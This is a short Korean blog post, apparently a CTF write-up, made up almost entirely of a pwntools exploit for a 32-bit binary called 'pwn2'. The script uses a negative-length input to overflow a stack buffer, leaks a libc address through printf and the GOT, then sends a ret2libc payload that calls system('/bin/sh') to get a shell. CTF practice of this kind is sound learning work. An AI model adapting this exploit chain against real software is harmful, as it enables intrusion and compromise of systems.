728x90

오늘은 토요일에다가 생활기록부 작성도 어느정도 끝나서 쉬고싶은 마음에 간단한 문제를 하나 풀어봤다!! 즉 쉬어가는 문제 2


재밌다!! CTF이름이 Sctf인데 삼성 시텦은 아니다.





from pwn import *

s = process("./pwn2")
libc = ELF("./libc")
elf = ELF("./pwn2")

main = 0x080483d0

s.recvuntil("to read? ")
s.sendline("-1")


s.recvuntil("bytes of data!")

#gdb.attach(s)

pay = "A"*(0x2c+4)
pay += p32(elf.plt['printf'])
pay += p32(0x0804864f)
pay += p32(elf.got['atoi'])
pay += p32(main)

s.sendline(pay)

s.recvline()
s.recvline()
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)

s.recvuntil("to read? ")
s.sendline("-1")


s.recvuntil("bytes of data!")

pay = "B"*(0x2c+4)
pay += p32(system)
pay += "A"*4
pay += p32(bin_sh)
s.sendline(pay)

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[SECCON 2016] checker  (0) 2018.12.30
[SECCON 2016] cheer_msg  (0) 2018.12.29
[RCTF 2018] Rnote3  (0) 2018.12.25
[ISITDTU 2018] dead_note_lv2  (0) 2018.12.20
[bsidessf-ctf-2017] shortest  (0) 2018.12.02